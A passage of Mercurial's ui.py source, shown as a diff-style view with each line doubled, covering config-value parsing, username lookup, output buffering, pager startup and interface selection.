609 >>> u.setconfig(s, 'int2', '-42')
610 >>> u.configint(s, 'int2')
610 >>> u.configint(s, 'int2')
611 -42
611 -42
612 >>> u.configint(s, 'unknown', 7)
612 >>> u.configint(s, 'unknown', 7)
613 7
613 7
614 >>> u.setconfig(s, 'invalid', 'somevalue')
614 >>> u.setconfig(s, 'invalid', 'somevalue')
615 >>> u.configint(s, 'invalid')
615 >>> u.configint(s, 'invalid')
616 Traceback (most recent call last):
616 Traceback (most recent call last):
617 ...
617 ...
618 ConfigError: foo.invalid is not a valid integer ('somevalue')
618 ConfigError: foo.invalid is not a valid integer ('somevalue')
619 """
619 """
620
620
621 return self.configwith(int, section, name, default, 'integer',
621 return self.configwith(int, section, name, default, 'integer',
622 untrusted)
622 untrusted)
623
623
624 def configbytes(self, section, name, default=_unset, untrusted=False):
624 def configbytes(self, section, name, default=_unset, untrusted=False):
625 """parse a configuration element as a quantity in bytes
625 """parse a configuration element as a quantity in bytes
626
626
627 Units can be specified as b (bytes), k or kb (kilobytes), m or
627 Units can be specified as b (bytes), k or kb (kilobytes), m or
628 mb (megabytes), g or gb (gigabytes).
628 mb (megabytes), g or gb (gigabytes).
629
629
630 >>> u = ui(); s = 'foo'
630 >>> u = ui(); s = 'foo'
631 >>> u.setconfig(s, 'val1', '42')
631 >>> u.setconfig(s, 'val1', '42')
632 >>> u.configbytes(s, 'val1')
632 >>> u.configbytes(s, 'val1')
633 42
633 42
634 >>> u.setconfig(s, 'val2', '42.5 kb')
634 >>> u.setconfig(s, 'val2', '42.5 kb')
635 >>> u.configbytes(s, 'val2')
635 >>> u.configbytes(s, 'val2')
636 43520
636 43520
637 >>> u.configbytes(s, 'unknown', '7 MB')
637 >>> u.configbytes(s, 'unknown', '7 MB')
638 7340032
638 7340032
639 >>> u.setconfig(s, 'invalid', 'somevalue')
639 >>> u.setconfig(s, 'invalid', 'somevalue')
640 >>> u.configbytes(s, 'invalid')
640 >>> u.configbytes(s, 'invalid')
641 Traceback (most recent call last):
641 Traceback (most recent call last):
642 ...
642 ...
643 ConfigError: foo.invalid is not a byte quantity ('somevalue')
643 ConfigError: foo.invalid is not a byte quantity ('somevalue')
644 """
644 """
645
645
646 value = self._config(section, name, default, untrusted)
646 value = self._config(section, name, default, untrusted)
647 if value is _unset:
647 if value is _unset:
648 if default is _unset:
648 if default is _unset:
649 default = 0
649 default = 0
650 value = default
650 value = default
651 if not isinstance(value, bytes):
651 if not isinstance(value, bytes):
652 return value
652 return value
653 try:
653 try:
654 return util.sizetoint(value)
654 return util.sizetoint(value)
655 except error.ParseError:
655 except error.ParseError:
656 raise error.ConfigError(_("%s.%s is not a byte quantity ('%s')")
656 raise error.ConfigError(_("%s.%s is not a byte quantity ('%s')")
657 % (section, name, value))
657 % (section, name, value))
658
658
659 def configlist(self, section, name, default=_unset, untrusted=False):
659 def configlist(self, section, name, default=_unset, untrusted=False):
660 """parse a configuration element as a list of comma/space separated
660 """parse a configuration element as a list of comma/space separated
661 strings
661 strings
662
662
663 >>> u = ui(); s = 'foo'
663 >>> u = ui(); s = 'foo'
664 >>> u.setconfig(s, 'list1', 'this,is "a small" ,test')
664 >>> u.setconfig(s, 'list1', 'this,is "a small" ,test')
665 >>> u.configlist(s, 'list1')
665 >>> u.configlist(s, 'list1')
666 ['this', 'is', 'a small', 'test']
666 ['this', 'is', 'a small', 'test']
667 """
667 """
668 # default is not always a list
668 # default is not always a list
669 v = self.configwith(config.parselist, section, name, default,
669 v = self.configwith(config.parselist, section, name, default,
670 'list', untrusted)
670 'list', untrusted)
671 if isinstance(v, bytes):
671 if isinstance(v, bytes):
672 return config.parselist(v)
672 return config.parselist(v)
673 elif v is None:
673 elif v is None:
674 return []
674 return []
675 return v
675 return v
676
676
677 def configdate(self, section, name, default=_unset, untrusted=False):
677 def configdate(self, section, name, default=_unset, untrusted=False):
678 """parse a configuration element as a tuple of ints
678 """parse a configuration element as a tuple of ints
679
679
680 >>> u = ui(); s = 'foo'
680 >>> u = ui(); s = 'foo'
681 >>> u.setconfig(s, 'date', '0 0')
681 >>> u.setconfig(s, 'date', '0 0')
682 >>> u.configdate(s, 'date')
682 >>> u.configdate(s, 'date')
683 (0, 0)
683 (0, 0)
684 """
684 """
685 if self.config(section, name, default, untrusted):
685 if self.config(section, name, default, untrusted):
686 return self.configwith(util.parsedate, section, name, default,
686 return self.configwith(util.parsedate, section, name, default,
687 'date', untrusted)
687 'date', untrusted)
688 if default is _unset:
688 if default is _unset:
689 return None
689 return None
690 return default
690 return default
691
691
692 def hasconfig(self, section, name, untrusted=False):
692 def hasconfig(self, section, name, untrusted=False):
693 return self._data(untrusted).hasitem(section, name)
693 return self._data(untrusted).hasitem(section, name)
694
694
695 def has_section(self, section, untrusted=False):
695 def has_section(self, section, untrusted=False):
696 '''tell whether section exists in config.'''
696 '''tell whether section exists in config.'''
697 return section in self._data(untrusted)
697 return section in self._data(untrusted)
698
698
699 def configitems(self, section, untrusted=False, ignoresub=False):
699 def configitems(self, section, untrusted=False, ignoresub=False):
700 items = self._data(untrusted).items(section)
700 items = self._data(untrusted).items(section)
701 if ignoresub:
701 if ignoresub:
702 newitems = {}
702 newitems = {}
703 for k, v in items:
703 for k, v in items:
704 if ':' not in k:
704 if ':' not in k:
705 newitems[k] = v
705 newitems[k] = v
706 items = newitems.items()
706 items = newitems.items()
707 if self.debugflag and not untrusted and self._reportuntrusted:
707 if self.debugflag and not untrusted and self._reportuntrusted:
708 for k, v in self._ucfg.items(section):
708 for k, v in self._ucfg.items(section):
709 if self._tcfg.get(section, k) != v:
709 if self._tcfg.get(section, k) != v:
710 self.debug("ignoring untrusted configuration option "
710 self.debug("ignoring untrusted configuration option "
711 "%s.%s = %s\n" % (section, k, v))
711 "%s.%s = %s\n" % (section, k, v))
712 return items
712 return items
713
713
714 def walkconfig(self, untrusted=False):
714 def walkconfig(self, untrusted=False):
715 cfg = self._data(untrusted)
715 cfg = self._data(untrusted)
716 for section in cfg.sections():
716 for section in cfg.sections():
717 for name, value in self.configitems(section, untrusted):
717 for name, value in self.configitems(section, untrusted):
718 yield section, name, value
718 yield section, name, value
719
719
720 def plain(self, feature=None):
720 def plain(self, feature=None):
721 '''is plain mode active?
721 '''is plain mode active?
722
722
723 Plain mode means that all configuration variables which affect
723 Plain mode means that all configuration variables which affect
724 the behavior and output of Mercurial should be
724 the behavior and output of Mercurial should be
725 ignored. Additionally, the output should be stable,
725 ignored. Additionally, the output should be stable,
726 reproducible and suitable for use in scripts or applications.
726 reproducible and suitable for use in scripts or applications.
727
727
728 The only way to trigger plain mode is by setting either the
728 The only way to trigger plain mode is by setting either the
729 `HGPLAIN' or `HGPLAINEXCEPT' environment variables.
729 `HGPLAIN' or `HGPLAINEXCEPT' environment variables.
730
730
731 The return value can either be
731 The return value can either be
732 - False if HGPLAIN is not set, or feature is in HGPLAINEXCEPT
732 - False if HGPLAIN is not set, or feature is in HGPLAINEXCEPT
733 - True otherwise
733 - True otherwise
734 '''
734 '''
735 if ('HGPLAIN' not in encoding.environ and
735 if ('HGPLAIN' not in encoding.environ and
736 'HGPLAINEXCEPT' not in encoding.environ):
736 'HGPLAINEXCEPT' not in encoding.environ):
737 return False
737 return False
738 exceptions = encoding.environ.get('HGPLAINEXCEPT',
738 exceptions = encoding.environ.get('HGPLAINEXCEPT',
739 '').strip().split(',')
739 '').strip().split(',')
740 if feature and exceptions:
740 if feature and exceptions:
741 return feature not in exceptions
741 return feature not in exceptions
742 return True
742 return True
743
743
744 def username(self):
744 def username(self):
745 """Return default username to be used in commits.
745 """Return default username to be used in commits.
746
746
747 Searched in this order: $HGUSER, [ui] section of hgrcs, $EMAIL
747 Searched in this order: $HGUSER, [ui] section of hgrcs, $EMAIL
748 and stop searching if one of these is set.
748 and stop searching if one of these is set.
749 If not found and ui.askusername is True, ask the user, else use
749 If not found and ui.askusername is True, ask the user, else use
750 ($LOGNAME or $USER or $LNAME or $USERNAME) + "@full.hostname".
750 ($LOGNAME or $USER or $LNAME or $USERNAME) + "@full.hostname".
751 """
751 """
752 user = encoding.environ.get("HGUSER")
752 user = encoding.environ.get("HGUSER")
753 if user is None:
753 if user is None:
754 user = self.config("ui", "username")
754 user = self.config("ui", "username")
755 if user is not None:
755 if user is not None:
756 user = os.path.expandvars(user)
756 user = os.path.expandvars(user)
757 if user is None:
757 if user is None:
758 user = encoding.environ.get("EMAIL")
758 user = encoding.environ.get("EMAIL")
759 if user is None and self.configbool("ui", "askusername"):
759 if user is None and self.configbool("ui", "askusername"):
760 user = self.prompt(_("enter a commit username:"), default=None)
760 user = self.prompt(_("enter a commit username:"), default=None)
761 if user is None and not self.interactive():
761 if user is None and not self.interactive():
762 try:
762 try:
763 user = '%s@%s' % (util.getuser(), socket.getfqdn())
763 user = '%s@%s' % (util.getuser(), socket.getfqdn())
764 self.warn(_("no username found, using '%s' instead\n") % user)
764 self.warn(_("no username found, using '%s' instead\n") % user)
765 except KeyError:
765 except KeyError:
766 pass
766 pass
767 if not user:
767 if not user:
768 raise error.Abort(_('no username supplied'),
768 raise error.Abort(_('no username supplied'),
769 hint=_("use 'hg config --edit' "
769 hint=_("use 'hg config --edit' "
770 'to set your username'))
770 'to set your username'))
771 if "\n" in user:
771 if "\n" in user:
772 raise error.Abort(_("username %s contains a newline\n")
772 raise error.Abort(_("username %s contains a newline\n")
773 % repr(user))
773 % repr(user))
774 return user
774 return user
775
775
776 def shortuser(self, user):
776 def shortuser(self, user):
777 """Return a short representation of a user name or email address."""
777 """Return a short representation of a user name or email address."""
778 if not self.verbose:
778 if not self.verbose:
779 user = util.shortuser(user)
779 user = util.shortuser(user)
780 return user
780 return user
781
781
782 def expandpath(self, loc, default=None):
782 def expandpath(self, loc, default=None):
783 """Return repository location relative to cwd or from [paths]"""
783 """Return repository location relative to cwd or from [paths]"""
784 try:
784 try:
785 p = self.paths.getpath(loc)
785 p = self.paths.getpath(loc)
786 if p:
786 if p:
787 return p.rawloc
787 return p.rawloc
788 except error.RepoError:
788 except error.RepoError:
789 pass
789 pass
790
790
791 if default:
791 if default:
792 try:
792 try:
793 p = self.paths.getpath(default)
793 p = self.paths.getpath(default)
794 if p:
794 if p:
795 return p.rawloc
795 return p.rawloc
796 except error.RepoError:
796 except error.RepoError:
797 pass
797 pass
798
798
799 return loc
799 return loc
800
800
801 @util.propertycache
801 @util.propertycache
802 def paths(self):
802 def paths(self):
803 return paths(self)
803 return paths(self)
804
804
805 def pushbuffer(self, error=False, subproc=False, labeled=False):
805 def pushbuffer(self, error=False, subproc=False, labeled=False):
806 """install a buffer to capture standard output of the ui object
806 """install a buffer to capture standard output of the ui object
807
807
808 If error is True, the error output will be captured too.
808 If error is True, the error output will be captured too.
809
809
810 If subproc is True, output from subprocesses (typically hooks) will be
810 If subproc is True, output from subprocesses (typically hooks) will be
811 captured too.
811 captured too.
812
812
813 If labeled is True, any labels associated with buffered
813 If labeled is True, any labels associated with buffered
814 output will be handled. By default, this has no effect
814 output will be handled. By default, this has no effect
815 on the output returned, but extensions and GUI tools may
815 on the output returned, but extensions and GUI tools may
816 handle this argument and returned styled output. If output
816 handle this argument and returned styled output. If output
817 is being buffered so it can be captured and parsed or
817 is being buffered so it can be captured and parsed or
818 processed, labeled should not be set to True.
818 processed, labeled should not be set to True.
819 """
819 """
820 self._buffers.append([])
820 self._buffers.append([])
821 self._bufferstates.append((error, subproc, labeled))
821 self._bufferstates.append((error, subproc, labeled))
822 self._bufferapplylabels = labeled
822 self._bufferapplylabels = labeled
823
823
824 def popbuffer(self):
824 def popbuffer(self):
825 '''pop the last buffer and return the buffered output'''
825 '''pop the last buffer and return the buffered output'''
826 self._bufferstates.pop()
826 self._bufferstates.pop()
827 if self._bufferstates:
827 if self._bufferstates:
828 self._bufferapplylabels = self._bufferstates[-1][2]
828 self._bufferapplylabels = self._bufferstates[-1][2]
829 else:
829 else:
830 self._bufferapplylabels = None
830 self._bufferapplylabels = None
831
831
832 return "".join(self._buffers.pop())
832 return "".join(self._buffers.pop())
833
833
834 def write(self, *args, **opts):
834 def write(self, *args, **opts):
835 '''write args to output
835 '''write args to output
836
836
837 By default, this method simply writes to the buffer or stdout.
837 By default, this method simply writes to the buffer or stdout.
838 Color mode can be set on the UI class to have the output decorated
838 Color mode can be set on the UI class to have the output decorated
839 with color modifier before being written to stdout.
839 with color modifier before being written to stdout.
840
840
841 The color used is controlled by an optional keyword argument, "label".
841 The color used is controlled by an optional keyword argument, "label".
842 This should be a string containing label names separated by space.
842 This should be a string containing label names separated by space.
843 Label names take the form of "topic.type". For example, ui.debug()
843 Label names take the form of "topic.type". For example, ui.debug()
844 issues a label of "ui.debug".
844 issues a label of "ui.debug".
845
845
846 When labeling output for a specific command, a label of
846 When labeling output for a specific command, a label of
847 "cmdname.type" is recommended. For example, status issues
847 "cmdname.type" is recommended. For example, status issues
848 a label of "status.modified" for modified files.
848 a label of "status.modified" for modified files.
849 '''
849 '''
850 if self._buffers and not opts.get('prompt', False):
850 if self._buffers and not opts.get('prompt', False):
851 if self._bufferapplylabels:
851 if self._bufferapplylabels:
852 label = opts.get('label', '')
852 label = opts.get('label', '')
853 self._buffers[-1].extend(self.label(a, label) for a in args)
853 self._buffers[-1].extend(self.label(a, label) for a in args)
854 else:
854 else:
855 self._buffers[-1].extend(args)
855 self._buffers[-1].extend(args)
856 elif self._colormode == 'win32':
856 elif self._colormode == 'win32':
857 # windows color printing is its own can of crab, defer to
857 # windows color printing is its own can of crab, defer to
858 # the color module and that is it.
858 # the color module and that is it.
859 color.win32print(self, self._write, *args, **opts)
859 color.win32print(self, self._write, *args, **opts)
860 else:
860 else:
861 msgs = args
861 msgs = args
862 if self._colormode is not None:
862 if self._colormode is not None:
863 label = opts.get('label', '')
863 label = opts.get('label', '')
864 msgs = [self.label(a, label) for a in args]
864 msgs = [self.label(a, label) for a in args]
865 self._write(*msgs, **opts)
865 self._write(*msgs, **opts)
866
866
867 def _write(self, *msgs, **opts):
867 def _write(self, *msgs, **opts):
868 self._progclear()
868 self._progclear()
869 # opencode timeblockedsection because this is a critical path
869 # opencode timeblockedsection because this is a critical path
870 starttime = util.timer()
870 starttime = util.timer()
871 try:
871 try:
872 for a in msgs:
872 for a in msgs:
873 self.fout.write(a)
873 self.fout.write(a)
874 except IOError as err:
874 except IOError as err:
875 raise error.StdioError(err)
875 raise error.StdioError(err)
876 finally:
876 finally:
877 self._blockedtimes['stdio_blocked'] += \
877 self._blockedtimes['stdio_blocked'] += \
878 (util.timer() - starttime) * 1000
878 (util.timer() - starttime) * 1000
879
879
880 def write_err(self, *args, **opts):
880 def write_err(self, *args, **opts):
881 self._progclear()
881 self._progclear()
882 if self._bufferstates and self._bufferstates[-1][0]:
882 if self._bufferstates and self._bufferstates[-1][0]:
883 self.write(*args, **opts)
883 self.write(*args, **opts)
884 elif self._colormode == 'win32':
884 elif self._colormode == 'win32':
885 # windows color printing is its own can of crab, defer to
885 # windows color printing is its own can of crab, defer to
886 # the color module and that is it.
886 # the color module and that is it.
887 color.win32print(self, self._write_err, *args, **opts)
887 color.win32print(self, self._write_err, *args, **opts)
888 else:
888 else:
889 msgs = args
889 msgs = args
890 if self._colormode is not None:
890 if self._colormode is not None:
891 label = opts.get('label', '')
891 label = opts.get('label', '')
892 msgs = [self.label(a, label) for a in args]
892 msgs = [self.label(a, label) for a in args]
893 self._write_err(*msgs, **opts)
893 self._write_err(*msgs, **opts)
894
894
895 def _write_err(self, *msgs, **opts):
895 def _write_err(self, *msgs, **opts):
896 try:
896 try:
897 with self.timeblockedsection('stdio'):
897 with self.timeblockedsection('stdio'):
898 if not getattr(self.fout, 'closed', False):
898 if not getattr(self.fout, 'closed', False):
899 self.fout.flush()
899 self.fout.flush()
900 for a in msgs:
900 for a in msgs:
901 self.ferr.write(a)
901 self.ferr.write(a)
902 # stderr may be buffered under win32 when redirected to files,
902 # stderr may be buffered under win32 when redirected to files,
903 # including stdout.
903 # including stdout.
904 if not getattr(self.ferr, 'closed', False):
904 if not getattr(self.ferr, 'closed', False):
905 self.ferr.flush()
905 self.ferr.flush()
906 except IOError as inst:
906 except IOError as inst:
907 raise error.StdioError(inst)
907 raise error.StdioError(inst)
908
908
909 def flush(self):
909 def flush(self):
910 # opencode timeblockedsection because this is a critical path
910 # opencode timeblockedsection because this is a critical path
911 starttime = util.timer()
911 starttime = util.timer()
912 try:
912 try:
913 try:
913 try:
914 self.fout.flush()
914 self.fout.flush()
915 except IOError as err:
915 except IOError as err:
916 raise error.StdioError(err)
916 raise error.StdioError(err)
917 finally:
917 finally:
918 try:
918 try:
919 self.ferr.flush()
919 self.ferr.flush()
920 except IOError as err:
920 except IOError as err:
921 raise error.StdioError(err)
921 raise error.StdioError(err)
922 finally:
922 finally:
923 self._blockedtimes['stdio_blocked'] += \
923 self._blockedtimes['stdio_blocked'] += \
924 (util.timer() - starttime) * 1000
924 (util.timer() - starttime) * 1000
925
925
926 def _isatty(self, fh):
926 def _isatty(self, fh):
927 if self.configbool('ui', 'nontty'):
927 if self.configbool('ui', 'nontty'):
928 return False
928 return False
929 return util.isatty(fh)
929 return util.isatty(fh)
930
930
931 def disablepager(self):
931 def disablepager(self):
932 self._disablepager = True
932 self._disablepager = True
933
933
934 def pager(self, command):
934 def pager(self, command):
935 """Start a pager for subsequent command output.
935 """Start a pager for subsequent command output.
936
936
937 Commands which produce a long stream of output should call
937 Commands which produce a long stream of output should call
938 this function to activate the user's preferred pagination
938 this function to activate the user's preferred pagination
939 mechanism (which may be no pager). Calling this function
939 mechanism (which may be no pager). Calling this function
940 precludes any future use of interactive functionality, such as
940 precludes any future use of interactive functionality, such as
941 prompting the user or activating curses.
941 prompting the user or activating curses.
942
942
943 Args:
943 Args:
944 command: The full, non-aliased name of the command. That is, "log"
944 command: The full, non-aliased name of the command. That is, "log"
945 not "history, "summary" not "summ", etc.
945 not "history, "summary" not "summ", etc.
946 """
946 """
947 if (self._disablepager
947 if (self._disablepager
948 or self.pageractive):
948 or self.pageractive):
949 # how pager should do is already determined
949 # how pager should do is already determined
950 return
950 return
951
951
952 if not command.startswith('internal-always-') and (
952 if not command.startswith('internal-always-') and (
953 # explicit --pager=on (= 'internal-always-' prefix) should
953 # explicit --pager=on (= 'internal-always-' prefix) should
954 # take precedence over disabling factors below
954 # take precedence over disabling factors below
955 command in self.configlist('pager', 'ignore')
955 command in self.configlist('pager', 'ignore')
956 or not self.configbool('ui', 'paginate')
956 or not self.configbool('ui', 'paginate')
957 or not self.configbool('pager', 'attend-' + command, True)
957 or not self.configbool('pager', 'attend-' + command, True)
958 # TODO: if we want to allow HGPLAINEXCEPT=pager,
958 # TODO: if we want to allow HGPLAINEXCEPT=pager,
959 # formatted() will need some adjustment.
959 # formatted() will need some adjustment.
960 or not self.formatted()
960 or not self.formatted()
961 or self.plain()
961 or self.plain()
962 # TODO: expose debugger-enabled on the UI object
962 # TODO: expose debugger-enabled on the UI object
963 or '--debugger' in pycompat.sysargv):
963 or '--debugger' in pycompat.sysargv):
964 # We only want to paginate if the ui appears to be
964 # We only want to paginate if the ui appears to be
965 # interactive, the user didn't say HGPLAIN or
965 # interactive, the user didn't say HGPLAIN or
966 # HGPLAINEXCEPT=pager, and the user didn't specify --debug.
966 # HGPLAINEXCEPT=pager, and the user didn't specify --debug.
967 return
967 return
968
968
969 pagercmd = self.config('pager', 'pager', rcutil.fallbackpager)
969 pagercmd = self.config('pager', 'pager', rcutil.fallbackpager)
970 if not pagercmd:
970 if not pagercmd:
971 return
971 return
972
972
973 pagerenv = {}
973 pagerenv = {}
974 for name, value in rcutil.defaultpagerenv().items():
974 for name, value in rcutil.defaultpagerenv().items():
975 if name not in encoding.environ:
975 if name not in encoding.environ:
976 pagerenv[name] = value
976 pagerenv[name] = value
977
977
978 self.debug('starting pager for command %r\n' % command)
978 self.debug('starting pager for command %r\n' % command)
979 self.flush()
979 self.flush()
980
980
981 wasformatted = self.formatted()
981 wasformatted = self.formatted()
982 if util.safehasattr(signal, "SIGPIPE"):
982 if util.safehasattr(signal, "SIGPIPE"):
983 signal.signal(signal.SIGPIPE, _catchterm)
983 signal.signal(signal.SIGPIPE, _catchterm)
984 if self._runpager(pagercmd, pagerenv):
984 if self._runpager(pagercmd, pagerenv):
985 self.pageractive = True
985 self.pageractive = True
986 # Preserve the formatted-ness of the UI. This is important
986 # Preserve the formatted-ness of the UI. This is important
987 # because we mess with stdout, which might confuse
987 # because we mess with stdout, which might confuse
988 # auto-detection of things being formatted.
988 # auto-detection of things being formatted.
989 self.setconfig('ui', 'formatted', wasformatted, 'pager')
989 self.setconfig('ui', 'formatted', wasformatted, 'pager')
990 self.setconfig('ui', 'interactive', False, 'pager')
990 self.setconfig('ui', 'interactive', False, 'pager')
991
991
992 # If pagermode differs from color.mode, reconfigure color now that
992 # If pagermode differs from color.mode, reconfigure color now that
993 # pageractive is set.
993 # pageractive is set.
994 cm = self._colormode
994 cm = self._colormode
995 if cm != self.config('color', 'pagermode', cm):
995 if cm != self.config('color', 'pagermode', cm):
996 color.setup(self)
996 color.setup(self)
997 else:
997 else:
998 # If the pager can't be spawned in dispatch when --pager=on is
998 # If the pager can't be spawned in dispatch when --pager=on is
999 # given, don't try again when the command runs, to avoid a duplicate
999 # given, don't try again when the command runs, to avoid a duplicate
1000 # warning about a missing pager command.
1000 # warning about a missing pager command.
1001 self.disablepager()
1001 self.disablepager()
1002
1002
1003 def _runpager(self, command, env=None):
1003 def _runpager(self, command, env=None):
1004 """Actually start the pager and set up file descriptors.
1004 """Actually start the pager and set up file descriptors.
1005
1005
1006 This is separate in part so that extensions (like chg) can
1006 This is separate in part so that extensions (like chg) can
1007 override how a pager is invoked.
1007 override how a pager is invoked.
1008 """
1008 """
1009 if command == 'cat':
1009 if command == 'cat':
1010 # Save ourselves some work.
1010 # Save ourselves some work.
1011 return False
1011 return False
1012 # If the command doesn't contain any of these characters, we
1012 # If the command doesn't contain any of these characters, we
1013 # assume it's a binary and exec it directly. This means for
1013 # assume it's a binary and exec it directly. This means for
1014 # simple pager command configurations, we can degrade
1014 # simple pager command configurations, we can degrade
1015 # gracefully and tell the user about their broken pager.
1015 # gracefully and tell the user about their broken pager.
1016 shell = any(c in command for c in "|&;<>()$`\\\"' \t\n*?[#~=%")
1016 shell = any(c in command for c in "|&;<>()$`\\\"' \t\n*?[#~=%")
1017
1017
1018 if pycompat.osname == 'nt' and not shell:
1018 if pycompat.osname == 'nt' and not shell:
1019 # Window's built-in `more` cannot be invoked with shell=False, but
1019 # Window's built-in `more` cannot be invoked with shell=False, but
1020 # its `more.com` can. Hide this implementation detail from the
1020 # its `more.com` can. Hide this implementation detail from the
1021 # user so we can also get sane bad PAGER behavior. MSYS has
1021 # user so we can also get sane bad PAGER behavior. MSYS has
1022 # `more.exe`, so do a cmd.exe style resolution of the executable to
1022 # `more.exe`, so do a cmd.exe style resolution of the executable to
1023 # determine which one to use.
1023 # determine which one to use.
1024 fullcmd = util.findexe(command)
1024 fullcmd = util.findexe(command)
1025 if not fullcmd:
1025 if not fullcmd:
1026 self.warn(_("missing pager command '%s', skipping pager\n")
1026 self.warn(_("missing pager command '%s', skipping pager\n")
1027 % command)
1027 % command)
1028 return False
1028 return False
1029
1029
1030 command = fullcmd
1030 command = fullcmd
1031
1031
1032 try:
1032 try:
1033 pager = subprocess.Popen(
1033 pager = subprocess.Popen(
1034 command, shell=shell, bufsize=-1,
1034 command, shell=shell, bufsize=-1,
1035 close_fds=util.closefds, stdin=subprocess.PIPE,
1035 close_fds=util.closefds, stdin=subprocess.PIPE,
1036 stdout=util.stdout, stderr=util.stderr,
1036 stdout=util.stdout, stderr=util.stderr,
1037 env=util.shellenviron(env))
1037 env=util.shellenviron(env))
1038 except OSError as e:
1038 except OSError as e:
1039 if e.errno == errno.ENOENT and not shell:
1039 if e.errno == errno.ENOENT and not shell:
1040 self.warn(_("missing pager command '%s', skipping pager\n")
1040 self.warn(_("missing pager command '%s', skipping pager\n")
1041 % command)
1041 % command)
1042 return False
1042 return False
1043 raise
1043 raise
1044
1044
1045 # back up original file descriptors
1045 # back up original file descriptors
1046 stdoutfd = os.dup(util.stdout.fileno())
1046 stdoutfd = os.dup(util.stdout.fileno())
1047 stderrfd = os.dup(util.stderr.fileno())
1047 stderrfd = os.dup(util.stderr.fileno())
1048
1048
1049 os.dup2(pager.stdin.fileno(), util.stdout.fileno())
1049 os.dup2(pager.stdin.fileno(), util.stdout.fileno())
1050 if self._isatty(util.stderr):
1050 if self._isatty(util.stderr):
1051 os.dup2(pager.stdin.fileno(), util.stderr.fileno())
1051 os.dup2(pager.stdin.fileno(), util.stderr.fileno())
1052
1052
1053 @self.atexit
1053 @self.atexit
1054 def killpager():
1054 def killpager():
1055 if util.safehasattr(signal, "SIGINT"):
1055 if util.safehasattr(signal, "SIGINT"):
1056 signal.signal(signal.SIGINT, signal.SIG_IGN)
1056 signal.signal(signal.SIGINT, signal.SIG_IGN)
1057 # restore original fds, closing pager.stdin copies in the process
1057 # restore original fds, closing pager.stdin copies in the process
1058 os.dup2(stdoutfd, util.stdout.fileno())
1058 os.dup2(stdoutfd, util.stdout.fileno())
1059 os.dup2(stderrfd, util.stderr.fileno())
1059 os.dup2(stderrfd, util.stderr.fileno())
1060 pager.stdin.close()
1060 pager.stdin.close()
1061 pager.wait()
1061 pager.wait()
1062
1062
1063 return True
1063 return True
1064
1064
1065 def atexit(self, func, *args, **kwargs):
1065 def atexit(self, func, *args, **kwargs):
1066 '''register a function to run after dispatching a request
1066 '''register a function to run after dispatching a request
1067
1067
1068 Handlers do not stay registered across request boundaries.'''
1068 Handlers do not stay registered across request boundaries.'''
1069 self._exithandlers.append((func, args, kwargs))
1069 self._exithandlers.append((func, args, kwargs))
1070 return func
1070 return func
1071
1071
1072 def interface(self, feature):
1072 def interface(self, feature):
1073 """what interface to use for interactive console features?
1073 """what interface to use for interactive console features?
1074
1074
1075 The interface is controlled by the value of `ui.interface` but also by
1075 The interface is controlled by the value of `ui.interface` but also by
1076 the value of feature-specific configuration. For example:
1076 the value of feature-specific configuration. For example:
1077
1077
1078 ui.interface.histedit = text
1078 ui.interface.histedit = text
1079 ui.interface.chunkselector = curses
1079 ui.interface.chunkselector = curses
1080
1080
1081 Here the features are "histedit" and "chunkselector".
1081 Here the features are "histedit" and "chunkselector".
1082
1082
1083 The configuration above means that the default interfaces for commands
1083 The configuration above means that the default interfaces for commands
1084 is curses, the interface for histedit is text and the interface for
1084 is curses, the interface for histedit is text and the interface for
1085 selecting chunk is crecord (the best curses interface available).
1085 selecting chunk is crecord (the best curses interface available).
1086
1086
1087 Consider the following example:
1087 Consider the following example:
1088 ui.interface = curses
1088 ui.interface = curses
1089 ui.interface.histedit = text
1089 ui.interface.histedit = text
1090
1090
1091 Then histedit will use the text interface and chunkselector will use
1091 Then histedit will use the text interface and chunkselector will use
1092 the default curses interface (crecord at the moment).
1092 the default curses interface (crecord at the moment).
1093 """
1093 """
1094 alldefaults = frozenset(["text", "curses"])
1094 alldefaults = frozenset(["text", "curses"])
1095
1095
1096 featureinterfaces = {
1096 featureinterfaces = {
1097 "chunkselector": [
1097 "chunkselector": [
1098 "text",
1098 "text",
1099 "curses",
1099 "curses",
1100 ]
1100 ]
1101 }
1101 }
1102
1102
1103 # Feature-specific interface
1103 # Feature-specific interface
1104 if feature not in featureinterfaces.keys():
1104 if feature not in featureinterfaces.keys():
1105 # Programming error, not user error
1105 # Programming error, not user error
1106 raise ValueError("Unknown feature requested %s" % feature)
1106 raise ValueError("Unknown feature requested %s" % feature)
1107
1107
1108 availableinterfaces = frozenset(featureinterfaces[feature])
1108 availableinterfaces = frozenset(featureinterfaces[feature])
1109 if alldefaults > availableinterfaces:
1109 if alldefaults > availableinterfaces:
1110 # Programming error, not user error. We need a use case to
1110 # Programming error, not user error. We need a use case to
1111 # define the right thing to do here.
1111 # define the right thing to do here.
1112 raise ValueError(
1112 raise ValueError(
1113 "Feature %s does not handle all default interfaces" %
1113 "Feature %s does not handle all default interfaces" %
1114 feature)
1114 feature)
1115
1115
1116 if self.plain():
1116 if self.plain():
1117 return "text"
1117 return "text"
1118
1118
1119 # Default interface for all the features
1119 # Default interface for all the features
1120 defaultinterface = "text"
1120 defaultinterface = "text"
1121 i = self.config("ui", "interface")
1121 i = self.config("ui", "interface")
1122 if i in alldefaults:
1122 if i in alldefaults:
1123 defaultinterface = i
1123 defaultinterface = i
1124
1124
1125 choseninterface = defaultinterface
1125 choseninterface = defaultinterface
1126 f = self.config("ui", "interface.%s" % feature, None)
1126 f = self.config("ui", "interface.%s" % feature, None)
1127 if f in availableinterfaces:
1127 if f in availableinterfaces:
1128 choseninterface = f
1128 choseninterface = f
1129
1129
1130 if i is not None and defaultinterface != i:
1130 if i is not None and defaultinterface != i:
1131 if f is not None:
1131 if f is not None:
1132 self.warn(_("invalid value for ui.interface: %s\n") %
1132 self.warn(_("invalid value for ui.interface: %s\n") %
1133 (i,))
1133 (i,))
1134 else:
1134 else:
1135 self.warn(_("invalid value for ui.interface: %s (using %s)\n") %
1135 self.warn(_("invalid value for ui.interface: %s (using %s)\n") %
1136 (i, choseninterface))
1136 (i, choseninterface))
1137 if f is not None and choseninterface != f:
1137 if f is not None and choseninterface != f:
1138 self.warn(_("invalid value for ui.interface.%s: %s (using %s)\n") %
1138 self.warn(_("invalid value for ui.interface.%s: %s (using %s)\n") %
1139 (feature, f, choseninterface))
1139 (feature, f, choseninterface))
1140
1140
1141 return choseninterface
1141 return choseninterface
1142
1142
1143 def interactive(self):
1143 def interactive(self):
1144 '''is interactive input allowed?
1144 '''is interactive input allowed?
1145
1145
1146 An interactive session is a session where input can be reasonably read
1146 An interactive session is a session where input can be reasonably read
